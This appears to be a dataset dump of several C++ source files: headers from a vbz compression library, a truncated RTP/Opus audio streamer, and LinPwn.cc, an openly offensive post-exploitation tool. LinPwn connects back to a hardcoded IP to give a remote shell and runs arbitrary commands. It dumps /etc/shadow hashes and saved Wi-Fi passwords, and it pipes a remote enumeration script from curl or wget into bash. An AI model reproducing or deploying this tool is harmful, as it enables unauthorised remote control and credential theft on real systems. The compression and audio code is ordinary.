467, 447, 433, 397, 340, 363, 357, 430, 378, 380, 377, 367, 354, 378, 382, 369, 288, 289, 267, 261, 304, 259, 252, 245, 260, 268, 244, 253, 166, 187, 179, 180, 183, 206, 223, 265, 264, 281, 312, 302, 296, 339, 320, 347, 345, 350, 379, 373, 400, 374, 383, 370, 396, 402, 368, 390, 389, 372, 377, 397, 394, 383, 388, 399, 358, 361, 336, 324, 342, 324, 342, 325, 297, 270, 276, 277, 268, 253, 253, 236, 262, 235, 227, 224, 232, 234, 225, 235, 237, 221, 233, 235, 234, 243, 211, 209, 198, 202, 184, 201, 188, 210, 245, 257, 241, 253, 241, 241, 250, 250, 306, 386, 365, 373, 403, 381, 388, 387, 395, 377, 377, 377, 368, 364, 362, 362, 353, 360, 357, 349, 364, 358, 357, 354, 361, 360, 377, 363, 380, 391, 405, 393, 371, 366, 346, 366, 342, 349, 360, 341, 343, 350, 303, 275, 264, 269, 269, 265, 279, 269, 267, 271, 268, 258, 274, 266, 295, 316, 252, 275, 265, 284, 275, 280, 278, 287, 247, 262, 254, 236, 255, 235, 251, 256, 237, 240, 246, 252, 239, 249, 245, 249, 254, 246, 249, 247, 238, 239, 244, 235, 246, 245, 259, 244, 270, 234, 247, 244, 250, 249, 252, 257, 242, 262, 285, 262, 276, 350, 347, 356, 365, 350, 370, 348, 371, 350, 353, 351, 354, 358, 348, 350, 346, 359, 350, 351, 341, 358, 380, 364, 352, 339, 355, 333, 333, 265, 208, 210, 228, 212, 207, 220, 228, 232, 212, 243, 234, 251, 242, 238, 247, 248, 243, 216, 414, 399, 407, 394, 388, 404, 401, 386, 404, 396, 390, 310, 302, 252, 213, 200, 206, 201, 218, 196, 200, 225, 195, 202, 187, 199, 348, 361, 343, 346, 367, 342, 328, 303, 271, 288, 285, 295, 287, 288, 279, 274, 268, 310, 259, 268, 237, 227, 221, 225, 242, 229, 232, 243, 250, 239, 261, 289, 285, 274, 293, 283, 269, 284, 286, 286, 282, 287, 281, 275, 278, 285, 284, 277, 285, 295, 291, 348, 373, 383, 371, 387, 367, 372, 370, 374, 360, 378, 381, 312, 271, 265, 263, 257, 260, 264, 261, 251, 247, 238, 255, 259, 256, 256, 289, 374, 375, 383, 371, 378, 326, 323, 319, 312, 319, 312, 327, 338, 340, 342, 342, 333, 337, 325, 311, 320, 274, 262, 265, 273, 282, 271, 271, 270, 268, 278, 275, 267, 276, 268, 265, 263, 346, 371, 373, 372, 348, 358, 391, 280, 260, 259, 253, 268, 271, 265, 270, 290, 259, 259, 264, 270, 270, 243, 279, 259, 287, 260, 277, 285, 257, 270, 264, 258, 258, 263, 264, 248, 282, 275, 281, 280, 287, 262, 256, 267, 271, 269, 248, 275, 284, 277, 266, 266, 256, 264, 254, 282, 287, 262, 267, 265, 276, 290, 290, 270, 286, 266, 273, 257, 273, 271, 269, 276, 272, 249, 254, 260, 290, 266, 256, 276, 269, 268, 261, 278, 270, 264, 282, 258, 271, 273, 272, 264, 263, 282, 288, 267, 259, 262, 275, 306, 258, 260, 277, 283, 288, 273, 280, 290, 285, 279, 286, 281, 275, 285, 276, 288, 286, 292, 286, 281, 275, 275, 283, 285, 278, 280, 275, 278, 280, 281, 279, 281, 285, 274, 273, 272, 276, 292, 269, 293, 280, 278, 288, 270, 276, 277, 272, 283, 284, 287, 281, 272, 273, 280, 274, 271, 273, 272, 263, 279, 278, 284, 294, 281, 270, 290, 285, 271, 287, 271, 284, 272, 284, 274, 273, 281, 295, 282, 285, 275, 282, 279, 275, 280, 288, 275, 296, 279, 271, 266, 279, 268, 274, 273, 276, 290, 288, 277, 280, 276, 281, 284, 282, 296, 274, 284, 283, 280, 276, 270, 266, 245, 239, 242, 251, 260, 276, 262, 273, 282, 273, 285, 267, 260, 266, 279, 265, 275, 273, 281, 274, 269, 271, 256, 265, 268, 286
};
| 78,294
|
C++
|
.h
| 5
| 15,656.8
| 78,215
| 0.600092
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,173
|
vbz_streamvbyte.h
|
nanoporetech_vbz_compression/vbz/v0/vbz_streamvbyte.h
|
#pragma once
#include "vbz/vbz_export.h"
#include "vbz.h"
#include <cstddef>
// Version 1 of streamvbyte
//
// This method follows streamvbyte exactly.
/// \brief find the maximum size a compressed data stream
/// using streamvbyte compression could be.
/// \param integer_size The input integer size in bytes.
/// \param source_size The size of the input buffer, in bytes.
VBZ_EXPORT vbz_size_t vbz_max_streamvbyte_compressed_size_v0(
size_t integer_size,
vbz_size_t source_size);
/// \brief Encode the source data using a combination of delta zig zag + streamvbyte encoding.
/// \param source Source data for compression.
/// \param source_size Source data size (in bytes)
/// \param destination Destination buffer for compressed output.
/// \param destination_capacity Size of the destination buffer to write to (see #max_streamvbyte_compressed_size)
/// \param integer_size Number of bytes per integer
/// \param use_delta_zig_zag_encoding Control if the data should be delta-zig-zag encoded before streamvbyte encoding.
/// \return The number of bytes used to compress data into [destination].
VBZ_EXPORT vbz_size_t vbz_delta_zig_zag_streamvbyte_compress_v0(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
int integer_size,
bool use_delta_zig_zag_encoding);
/// \brief Decode the source data using a combination of delta zig zag + streamvbyte encoding.
/// \param source Source compressed data for decompression.
/// \param source_size Source data size (in bytes)
/// \param destination Destination buffer for decompressed output.
/// \param destination_size Size of the destination buffer to write to in bytes.
/// This must be a multiple of integer_size, and equal to the number of
/// expected output bytes exactly. The caller is expected to store this information alongside
/// the compressed data.
/// \param integer_size Number of bytes per integer (must equal size used to compress)
/// \param use_delta_zig_zag_encoding Control if the data should be delta-zig-zag encoded before streamvbyte encoding.
/// (must equal value used to compress).
/// \return The number of bytes used to decompress data into [destination].
VBZ_EXPORT vbz_size_t vbz_delta_zig_zag_streamvbyte_decompress_v0(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_size,
int integer_size,
bool use_delta_zig_zag_encoding);
| 2,773
|
C++
|
.h
| 48
| 55.5
| 129
| 0.672426
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,174
|
vbz_streamvbyte_impl.h
|
nanoporetech_vbz_compression/vbz/v0/vbz_streamvbyte_impl.h
|
#pragma once
#include "vbz.h"
#include "streamvbyte.h"
#include "streamvbyte_zigzag.h"
#include <gsl/gsl-lite.hpp>
#include <vector>
/// \brief Generic implementation, safe for all integer types, and platforms.
template <typename T, bool UseZigZag>
struct StreamVByteWorkerV0
{
static vbz_size_t compress(gsl::span<char const> input_bytes, gsl::span<char> output)
{
auto const input = input_bytes.as_span<T const>();
if (!UseZigZag)
{
auto input_buffer = cast<std::uint32_t>(input);
return vbz_size_t(streamvbyte_encode(
input_buffer.data(),
std::uint32_t(input_buffer.size()),
output.as_span<std::uint8_t>().data()
));
}
std::vector<std::int32_t> input_buffer = cast<std::int32_t>(input);
std::vector<std::uint32_t> intermediate_buffer(input.size());
zigzag_delta_encode(input_buffer.data(), intermediate_buffer.data(), input_buffer.size(), 0);
return vbz_size_t(streamvbyte_encode(
intermediate_buffer.data(),
std::uint32_t(intermediate_buffer.size()),
output.as_span<std::uint8_t>().data()
));
}
static vbz_size_t decompress(gsl::span<char const> input, gsl::span<char> output_bytes)
{
auto const output = output_bytes.as_span<T>();
std::vector<std::uint32_t> intermediate_buffer(output.size());
auto read_bytes = streamvbyte_decode(
input.as_span<std::uint8_t const>().data(),
intermediate_buffer.data(),
vbz_size_t(intermediate_buffer.size())
);
if (read_bytes != input.size())
{
return VBZ_STREAMVBYTE_STREAM_ERROR;
}
if (!UseZigZag)
{
cast(gsl::make_span(intermediate_buffer), output);
return vbz_size_t(output.size() * sizeof(T));
}
std::vector<std::int32_t> output_buffer(output.size());
zigzag_delta_decode(intermediate_buffer.data(), output_buffer.data(), output_buffer.size(), 0);
cast(gsl::make_span(output_buffer), output);
return vbz_size_t(output.size() * sizeof(T));
}
template <typename U, typename V>
static std::vector<U> cast(gsl::span<V> const& input)
{
std::vector<U> output(input.size());
for (std::size_t i = 0; i < input.size(); ++i)
{
output[i] = input[i];
}
return output;
}
template <typename U, typename V>
static void cast(gsl::span<U> input, gsl::span<V> output)
{
for (std::size_t i = 0; i < input.size(); ++i)
{
output[i] = input[i];
}
}
};
#ifdef __SSE3__
#include "vbz_streamvbyte_impl_sse3.h"
#endif
| 2,835
|
C++
|
.h
| 76
| 28.434211
| 103
| 0.589332
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,175
|
vbz_streamvbyte.h
|
nanoporetech_vbz_compression/vbz/v1/vbz_streamvbyte.h
|
#pragma once
#include "vbz/vbz_export.h"
#include "vbz.h"
#include <cstddef>
// Version 1 of streamvbyte
//
// This method introduces half byte + zero byte compression.
/// \brief find the maximum size a compressed data stream
/// using streamvbyte compression could be.
/// \param integer_size The input integer size in bytes.
/// \param source_size The size of the input buffer, in bytes.
VBZ_EXPORT vbz_size_t vbz_max_streamvbyte_compressed_size_v1(
size_t integer_size,
vbz_size_t source_size);
/// \brief Encode the source data using a combination of delta zig zag + streamvbyte encoding.
/// \param source Source data for compression.
/// \param source_size Source data size (in bytes)
/// \param destination Destination buffer for compressed output.
/// \param destination_capacity Size of the destination buffer to write to (see #max_streamvbyte_compressed_size)
/// \param integer_size Number of bytes per integer
/// \param use_delta_zig_zag_encoding Control if the data should be delta-zig-zag encoded before streamvbyte encoding.
/// \return The number of bytes used to compress data into [destination].
VBZ_EXPORT vbz_size_t vbz_delta_zig_zag_streamvbyte_compress_v1(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
int integer_size,
bool use_delta_zig_zag_encoding);
/// \brief Decode the source data using a combination of delta zig zag + streamvbyte encoding.
/// \param source Source compressed data for decompression.
/// \param source_size Source data size (in bytes)
/// \param destination Destination buffer for decompressed output.
/// \param destination_size Size of the destination buffer to write to in bytes.
/// This must be a multiple of integer_size, and equal to the number of
/// expected output bytes exactly. The caller is expected to store this information alongside
/// the compressed data.
/// \param integer_size Number of bytes per integer (must equal size used to compress)
/// \param use_delta_zig_zag_encoding Control if the data should be delta-zig-zag encoded before streamvbyte encoding.
/// (must equal value used to compress).
/// \return The number of bytes used to decompress data into [destination].
VBZ_EXPORT vbz_size_t vbz_delta_zig_zag_streamvbyte_decompress_v1(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_size,
int integer_size,
bool use_delta_zig_zag_encoding);
| 2,790
|
C++
|
.h
| 48
| 55.854167
| 129
| 0.672634
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,176
|
vbz_streamvbyte_impl.h
|
nanoporetech_vbz_compression/vbz/v1/vbz_streamvbyte_impl.h
|
#pragma once
#include "vbz.h"
#include "streamvbyte.h"
#include "streamvbyte_zigzag.h"
#include <gsl/gsl-lite.hpp>
#include <cassert>
#include <vector>
#ifdef _MSC_VER
# define VBZ_RESTRICT __restrict
#else
# define VBZ_RESTRICT __restrict__
#endif
static inline uint32_t _decode_data(const uint8_t **dataPtrPtr, uint8_t code, uint8_t *data_shift) {
uint32_t val;
auto read_data = [&](uint8_t bits)
{
uint32_t return_val = 0;
auto& current_shift = *data_shift;
for (std::size_t i = 0; i < bits / 4; ++i)
{
if (current_shift == 8)
{
current_shift = 0;
*dataPtrPtr += 1;
}
const uint8_t *dataPtr = *dataPtrPtr;
auto val_bits = 0xf & (*dataPtr >> current_shift);
return_val |= val_bits << (i*4);
current_shift += 4;
}
return return_val;
};
if (code == 0) { // 0 bytes
val = 0;
} else if (code == 1) { // 1/2 byte
val = read_data(4);
} else if (code == 2) { // 1 byte
val = read_data(8);
} else if (code == 3) { // 2 bytes
val = read_data(16);
} else {
assert(0 && "Unknown code");
val = 0;
}
return val;
}
static const uint8_t *svb_decode_scalar(uint32_t *outPtr, const uint8_t *keyPtr,
const uint8_t *dataPtr,
uint32_t count) {
if (count == 0)
return dataPtr; // no reads or writes if no data
uint8_t data_shift = 0;
uint8_t shift = 0;
uint32_t key = *keyPtr++;
for (uint32_t c = 0; c < count; c++) {
if (shift == 8) {
shift = 0;
key = *keyPtr++;
}
uint32_t val = _decode_data(&dataPtr, (key >> shift) & 0x3, &data_shift);
*outPtr++ = val;
shift += 2;
}
if (data_shift != 0)
{
dataPtr += 1;
}
return dataPtr; // pointer to first unused byte after end
}
static uint8_t _encode_data(uint32_t val, uint8_t *VBZ_RESTRICT *dataPtrPtr, uint8_t* data_shift) {
uint8_t code;
auto write_data = [&](uint32_t value, uint8_t bits) {
auto& current_shift = *data_shift;
for (std::size_t i = 0; i < bits / 4; ++i)
{
if (current_shift == 8)
{
current_shift = 0;
*dataPtrPtr += 1;
}
auto val_masked = value & 0xf;
value >>= 4;
uint8_t *dataPtr = *dataPtrPtr;
if (current_shift == 0)
{
*dataPtr = 0;
}
*dataPtr |= val_masked << current_shift;
current_shift += 4;
}
};
if (val == 0) { // 0 bytes
code = 0;
} else if (val < (1 << 4)) { // 1/2 byte
write_data(val, 4);
code = 1;
} else if (val < (1 << 8)) { // 1 byte
write_data(val, 8);
code = 2;
} else { // 2 bytes
write_data(val, 16);
code = 3;
}
return code;
}
static uint8_t *svb_encode_scalar(const uint32_t *in,
uint8_t *VBZ_RESTRICT keyPtr,
uint8_t *VBZ_RESTRICT dataPtr,
uint32_t count) {
if (count == 0)
return dataPtr; // exit immediately if no data
uint8_t data_shift = 0;
uint8_t shift = 0; // cycles 0, 2, 4, 6, 0, 2, 4, 6, ...
uint8_t key = 0;
for (uint32_t c = 0; c < count; c++) {
if (shift == 8) {
shift = 0;
*keyPtr++ = key;
key = 0;
}
uint32_t val = in[c];
uint8_t code = _encode_data(val, &dataPtr, &data_shift);
key |= code << shift;
shift += 2;
}
if (data_shift != 0)
{
dataPtr += 1;
}
*keyPtr = key; // write last key (no increment needed)
return dataPtr; // pointer to first unused data byte
}
vbz_size_t streamvbyte_encode_half(uint32_t const* input, uint32_t count, uint8_t* output)
{
uint8_t *keyPtr = output;
uint32_t keyLen = (count + 3) / 4; // 2-bits rounded to full byte
uint8_t *dataPtr = keyPtr + keyLen; // variable byte data after all keys
return vbz_size_t(svb_encode_scalar(input, keyPtr, dataPtr, count) - output);
}
vbz_size_t streamvbyte_decode_half(uint8_t const* input, uint32_t* output, uint32_t count)
{
uint8_t *keyPtr = (uint8_t*)input;
uint32_t keyLen = (count + 3) / 4; // 2-bits rounded to full byte
uint8_t *dataPtr = keyPtr + keyLen; // variable byte data after all keys
return vbz_size_t(svb_decode_scalar(
output,
keyPtr,
dataPtr,
count
) - input);
}
/// \brief Generic implementation, safe for all integer types, and platforms.
template <typename T, bool UseZigZag>
struct StreamVByteWorkerV1
{
static vbz_size_t compress(gsl::span<char const> input_bytes, gsl::span<char> output)
{
auto const input = input_bytes.as_span<T const>();
if (!UseZigZag)
{
auto input_buffer = cast<std::uint32_t>(input);
return vbz_size_t(streamvbyte_encode_half(
input_buffer.data(),
std::uint32_t(input_buffer.size()),
output.as_span<std::uint8_t>().data()
));
}
std::vector<std::int32_t> input_buffer = cast<std::int32_t>(input);
std::vector<std::uint32_t> intermediate_buffer(input.size());
zigzag_delta_encode(input_buffer.data(), intermediate_buffer.data(), input_buffer.size(), 0);
return vbz_size_t(streamvbyte_encode_half(
intermediate_buffer.data(),
std::uint32_t(intermediate_buffer.size()),
output.as_span<std::uint8_t>().data()
));
}
static vbz_size_t decompress(gsl::span<char const> input, gsl::span<char> output_bytes)
{
auto const output = output_bytes.as_span<T>();
std::vector<std::uint32_t> intermediate_buffer(output.size());
auto read_bytes = streamvbyte_decode_half(
input.as_span<std::uint8_t const>().data(),
intermediate_buffer.data(),
vbz_size_t(intermediate_buffer.size())
);
if (read_bytes != input.size())
{
return VBZ_STREAMVBYTE_STREAM_ERROR;
}
if (!UseZigZag)
{
cast(gsl::make_span(intermediate_buffer), output);
return vbz_size_t(output.size() * sizeof(T));
}
std::vector<std::int32_t> output_buffer(output.size());
zigzag_delta_decode(intermediate_buffer.data(), output_buffer.data(), output_buffer.size(), 0);
cast(gsl::make_span(output_buffer), output);
return vbz_size_t(output.size() * sizeof(T));
}
template <typename U, typename V>
static std::vector<U> cast(gsl::span<V> const& input)
{
std::vector<U> output(input.size());
for (std::size_t i = 0; i < input.size(); ++i)
{
output[i] = input[i];
}
return output;
}
template <typename U, typename V>
static void cast(gsl::span<U> input, gsl::span<V> output)
{
for (std::size_t i = 0; i < input.size(); ++i)
{
output[i] = input[i];
}
}
};
| 7,448
|
C++
|
.h
| 218
| 25.119266
| 103
| 0.533644
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,177
|
LinPwn.cc
|
Andromeda1957_LinPwn/LinPwn.cc
|
/* LinPwn
Interactive Post Exploitation Tool
Copyright (C) 2019 Andromeda3(3XPL017)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <csignal>
#include <ctime>
#include <chrono>//NOLINT
#include <string>
#define BUFFER 200
int sd() {
return 0;
}
void get_input(char *option) {
fgets(option, BUFFER, stdin);
for (unsigned int i = 0; i <= strnlen(option, BUFFER); i++) {
if (option[i] == '\n') {
option[i] = '\0';
}
}
}
void new_line() {
std::string newline = "\n";
write(sd(), newline.data(), newline.length());
}
void seperate() {
std::string seperator = "====================================="
"======================================\n";
write(sd(), seperator.data(), seperator.length());
}
void space() {
std::string space = " ";
write(sd(), space.data(), space.length());
}
void green() {
std::string green = "\x1b[32m ";
write(sd(), green.data(), green.length());
}
void none() {
std::string none = "none\n";
write(sd(), none.data(), none.length());
}
void help_menu() {
std::string options = "\x1b[32mOptions \n";
std::string banner = "banner - displays the banner.\n";
std::string modules = "modules - lists modules.\n";
std::string clear = "clear - clears the screen.\n";
std::string exits = "exit - or press ^C to quit LinPwn.\n";
new_line();
write(sd(), options.data(), options.length());
seperate();
write(sd(), banner.data(), banner.length());
write(sd(), modules.data(), modules.length());
write(sd(), clear.data(), clear.length());
write(sd(), exits.data(), exits.length());
new_line();
}
class Banner {
public:
void print_banner() {
get_banner();
get_time();
get_sysinfo();
get_ip();
get_user();
get_uid();
get_pwd();
get_home();
get_shell();
get_term();
get_path();
new_line();
}
private:
void get_banner() {
std::string title = "\x1b[32mLinPwn\nCreated By Andromeda.\n";
write(sd(), title.data(), title.length());
new_line();
}
void get_time() {
std::string print_time = "Time: ";
write(sd(), print_time.data(), print_time.length());
auto end = std::chrono::system_clock::now();
std::time_t end_time = std::chrono::system_clock::to_time_t(end);
std::string current_time = std::ctime(&end_time);
write(sd(), current_time.data(), current_time.length());
}
void get_sysinfo() {
struct utsname utsinfo;
uname(&utsinfo);
std::string sysname = utsinfo.sysname;
std::string nodename = utsinfo.nodename;
std::string release = utsinfo.release;
std::string version = utsinfo.version;
std::string machine = utsinfo.machine;
std::string domainname = utsinfo.domainname;
std::string systems = "System: ";
write(sd(), systems.data(), systems.length());
write(sd(), sysname.data(), sysname.length());
space();
write(sd(), nodename.data(), nodename.length());
space();
write(sd(), release.data(), release.length());
space();
write(sd(), version.data(), version.length());
space();
write(sd(), machine.data(), machine.length());
space();
write(sd(), domainname.data(), domainname.length());
new_line();
}
void get_ip() {
std::string ip = "IP: ";
write(sd(), ip.data(), ip.length());
system("hostname -I");
}
void get_user() {
std::string env = "User: ";
std::string username = getenv("USER");
write(sd(), env.data(), env.length());
if (!getenv("USER")) {
none();
return;
}
write(sd(), username.data(), username.length());
new_line();
}
void get_uid() {
int uid = getuid();
std::string env = "UID: ";
std::string uidstr = std::to_string(uid);
write(sd(), env.data(), env.length());
write(sd(), uidstr.data(), uidstr.length());
new_line();
}
void get_pwd() {
std::string env = "Pwd: ";
std::string pwd = getenv("PWD");
write(sd(), env.data(), env.length());
if (!getenv("PWD")) {
none();
return;
}
write(sd(), pwd.data(), pwd.length());
new_line();
}
void get_home() {
std::string env = "Home: ";
std::string home = getenv("HOME");
write(sd(), env.data(), env.length());
if (!getenv("HOME")) {
none();
return;
}
write(sd(), home.data(), home.length());
new_line();
}
void get_shell() {
std::string env = "Shell: ";
std::string shell = getenv("SHELL");
write(sd(), env.data(), env.length());
if (!getenv("SHELL")) {
none();
return;
}
write(sd(), shell.data(), shell.length());
new_line();
}
void get_term() {
std::string env = "Term: ";
std::string term = getenv("TERM");
write(sd(), env.data(), env.length());
if (!getenv("TERM")) {
none();
return;
}
write(sd(), term.data(), term.length());
new_line();
}
void get_path() {
std::string env = "Path: ";
std::string path = getenv("PATH");
write(sd(), env.data(), env.length());
if (!getenv("PATH")) {
none();
return;
}
write(sd(), path.data(), path.length());
new_line();
}
};
class Connection {
public:
void connection_open() {
const int connecting = socket(AF_INET, SOCK_STREAM, 0);;
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr(ip);
address.sin_port = htons(port);
connect(connecting, (struct sockaddr *)&address, sizeof(address));
dup2(connecting, sd());
dup2(connecting, 1);
}
private:
const char *ip = "192.168.1.165"; // Change this
const int port = 8000; // Change this
struct sockaddr_in address;
};
class Modules {
public:
void list_modules() {
std::string modules = "\x1b[32mModules \n";
std::string shell = "shell Executes /bin/sh\n";
std::string read_file = "readfile Print the contents of a file\n";
std::string enumerate = "enumerate Download and run LinEnum"
" (requires internet access)\n";
std::string download = "download Downloads a file\n";
std::string wificredz = "wificredz Gets"
" saved wifi passwords (root needed)\n";
std::string hashdump = "hashdump Gets"
" system password hashes (root needed)\n";
new_line();
write(sd(), modules.data(), modules.length());
seperate();
write(sd(), shell.data(), shell.length());
write(sd(), read_file.data(), read_file.length());
write(sd(), enumerate.data(), enumerate.length());
write(sd(), download.data(), download.length());
write(sd(), wificredz.data(), wificredz.length());
write(sd(), hashdump.data(), hashdump.length());
new_line();
}
void shell() {
std::string shell = "\x1b[31m(LinPwn: Shell) >";
std::string exe = "\x1b[32mExecuting /bin/sh\n";
std::string exits = "Type exit to return to LinPwn.\n";
char option[BUFFER];
const char *errors = " 2>&0";
write(sd(), exe.data(), exe.length());
write(sd(), exits.data(), exits.length());
for (;;) {
write(sd(), shell.data(), shell.length());
green();
get_input(option);
if (strncmp(option, "exit\0", 5) == 0) {
break;
} else {
strncat(option, errors, BUFFER);
system(option);
}
}
}
void read_file() {
std::string contents = "\x1b[32mType full path of file"
"to view contents...\n";
std::string read = "\x1b[31m(LinPwn: Readfile) >";
std::string exits = "Type exit to return to LinPwn.\n";
char option[BUFFER];
write(sd(), contents.data(), contents.length());
write(sd(), exits.data(), exits.length());
for (;;) {
write(sd(), read.data(), read.length());
green();
get_input(option);
if (strncmp(option, "exit\0", 5) == 0) {
break;
} else {
open_file(option);
}
}
}
void enumeration() {
std::string error0 = "\x1b[33mIf LinEnum didnt run curl"
" or wget may not be installed\n";
std::string error1 = "or you do not have internet access\n";
const char *curl = "curl https://raw.githubusercontent.com/"
"rebootuser/LinEnum/master/LinEnum.sh 2>/dev/null | bash 2>/dev/null";
const char *wget = "wget -O - https://raw.githubusercontent.com/"
"rebootuser/LinEnum/master/LinEnum.sh 2>/dev/null | bash 2>/dev/null";
if (check_curl) {
system(curl);
return;
} else if (check_wget) {
system(wget);
return;
}
write(sd(), error0.data(), error0.length());
write(sd(), error1.data(), error1.length());
return;
}
void download() {
std::string url = "\x1b[32mEnter the URL of the target "
"file to download it\n";
std::string downloads = "\x1b[31m(LinPwn: Download) >";
std::string curl_error = "\x1b[33mCurl or Wget is not installed\n";
char *command = new char[BUFFER];
const char *curl = "curl ";
const char *wget = "wget ";
const char *errors = " 2>/dev/null";
char option[BUFFER];
if (check_curl) {
strncat(command, curl, BUFFER);
} else if (check_wget) {
strncat(command, wget, BUFFER);
} else {
write(sd(), curl_error.data(), curl_error.length());
return;
}
write(sd(), url.data(), url.length());
write(sd(), downloads.data(), downloads.length());
green();
get_input(option);
strncat(command, option, BUFFER);
strncat(command, errors, BUFFER);
system(command);
delete[] command;
}
void wificredz() {
system("cat /etc/NetworkManager/system-connections/*"
" 2>/dev/null | grep -e 'ssid=' -e 'psk='");
}
void hashdump() {
system("cat /etc/shadow 2>/dev/null "
"| grep -v '*' | grep -v '!'");
}
private:
std::string error = "\x1b[33m Cannot open file.\n";
FILE *check_curl = fopen("/usr/bin/curl", "rb");
FILE *check_wget = fopen("/usr/bin/wget", "rb");
void open_file(char *option) {
FILE *file = fopen(option, "rb");
if (!file) {
write(sd(), error.data(), error.length());
return;
}
fseek(file, 0, SEEK_END);
int size = ftell(file);
fseek(file, 0, SEEK_SET);
char *filecontent = new char[size];
fread(filecontent, 1, size, file);
filecontent[size] = '\0';
send(sd(), filecontent, size, 0);
fclose(file);
delete[] filecontent;
}
};
int handler() {
Banner ban;
Modules modules;
std::string not_valid = "\x1b[33mNot a valid option\n";
char *option = new char[BUFFER];
get_input(option);
std::string shell = "shell";
std::string read = "readfile";
std::string enumerate = "enumerate";
std::string module_list = "modules";
std::string download = "download";
std::string wificredz = "wificredz";
std::string hashdump = "hashdump";
std::string quit = "exit";
std::string clear = "clear";
std::string help ="help";
std::string banner = "banner";
std::string nothing = "";
if (option == shell)
modules.shell();
else if (option == read)
modules.read_file();
else if (option == enumerate)
modules.enumeration();
else if (option == module_list)
modules.list_modules();
else if (option == download)
modules.download();
else if (option == wificredz)
modules.wificredz();
else if (option == hashdump)
modules.hashdump();
else if (option == quit)
return 1;
else if (option == clear)
system("clear");
else if (option == help)
help_menu();
else if (option == banner)
ban.print_banner();
else if (option == nothing)
return 0;
else
write(sd(), not_valid.data(), not_valid.length());
delete[] option;
return 0;
}
void main_loop() {
std::string linpwn = "\x1b[31m(LinPwn) >";
do {
write(sd(), linpwn.data(), linpwn.length());
green();
} while (handler() != 1);
}
int main() {
Banner ban;
Connection connection;
connection.connection_open();
ban.print_banner();
main_loop();
return 0;
}
| 12,684
|
C++
|
.cc
| 425
| 25.432941
| 77
| 0.608289
|
Andromeda1957/LinPwn
| 36
| 12
| 0
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,180
|
TrixMicrophone.cpp
|
JorenSix_trix/src/TrixMicrophone.cpp
|
/******************************************/
/*
RTPMicrophone.cpp
by Joren Six, 2018
This program records audio from a sound device, encodes the
audio using the Opus encoder and sends it over an RTP session
to a configured host.
*/
/******************************************/
#include "RtAudio.h"
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <stdio.h>
#include <ortp/ortp.h>
#include <opus/opus.h>
// uncomment to disable assert()
// #define NDEBUG
#include <cassert>
/*Defines the rtAudio type, request 32bit floats*/
#define FORMAT RTAUDIO_FLOAT32
// Default configuration
int audio_sample_rate= 48000;
int audio_channels = 2;
int opus_bitrate = 112;
int opus_frame_size = 2880;
int udp_port = 5555;
char const *udp_addr = "81.11.161.28";
int rtp_payload_type = 96;
//the rtp session object
RtpSession *session;
// The opus encoder
OpusEncoder *encoder;
// The number of bytes per opus frame
int bytes_per_frame;
unsigned int sample_frame_time_stamp = 0;
//FILE *test_fd;
static RtpSession* create_rtp_send(const char *addr_desc, const int port){
RtpSession *session;
session = rtp_session_new(RTP_SESSION_SENDONLY);
assert(session != NULL);
rtp_session_set_scheduling_mode(session, 0);
rtp_session_set_blocking_mode(session, 0);
rtp_session_set_connected_mode(session, FALSE);
if (rtp_session_set_remote_addr(session, addr_desc, port) != 0)
abort();
//use payload type 96 = dynamic payload type
if (rtp_session_set_payload_type(session, rtp_payload_type) != 0)
abort();
if (rtp_session_set_multicast_ttl(session, 16) != 0)
abort();
return session;
}
void usage( void ) {
// Error function in case of incorrect command-line
// argument specifications
std::cout << "\nuseage:rtp_microphone N fs <device>\n";
std::cout << " where N = number of channels,\n";
std::cout << " fs = the sample rate,\n";
std::cout << " device = optional device to use (default = 0),\n";
exit( 0 );
}
// Interleaved buffers
int input( void * /*outputBuffer*/, void *inputBuffer, unsigned int nBufferFrames,
double /*streamTime*/, RtAudioStreamStatus /*status*/, void *data ){
unsigned char* packet;
ssize_t packet_length_in_bytes = 0;
//allocate a packet on the stack: max bytes = bytes per frame
packet = ( unsigned char*) alloca(bytes_per_frame);
/* Read from file */
//fseek(test_fd, sample_frame_time_stamp * sizeof( float ) * audio_channels , SEEK_SET);
//fread(inputBuffer, audio_channels * sizeof( float ), opus_frame_size, test_fd);
//The length of the encoded packet (in bytes) on success or a negative error code (see Error codes) on failure.
packet_length_in_bytes = opus_encode_float(encoder, (const float*) inputBuffer, opus_frame_size, packet, bytes_per_frame);
if (packet_length_in_bytes < 0) {
fprintf(stderr, "opus_encode_float: %s\n", opus_strerror(packet_length_in_bytes));
return -1;
}
rtp_session_send_with_ts(session, packet , packet_length_in_bytes, sample_frame_time_stamp);
//increment sample frame counter
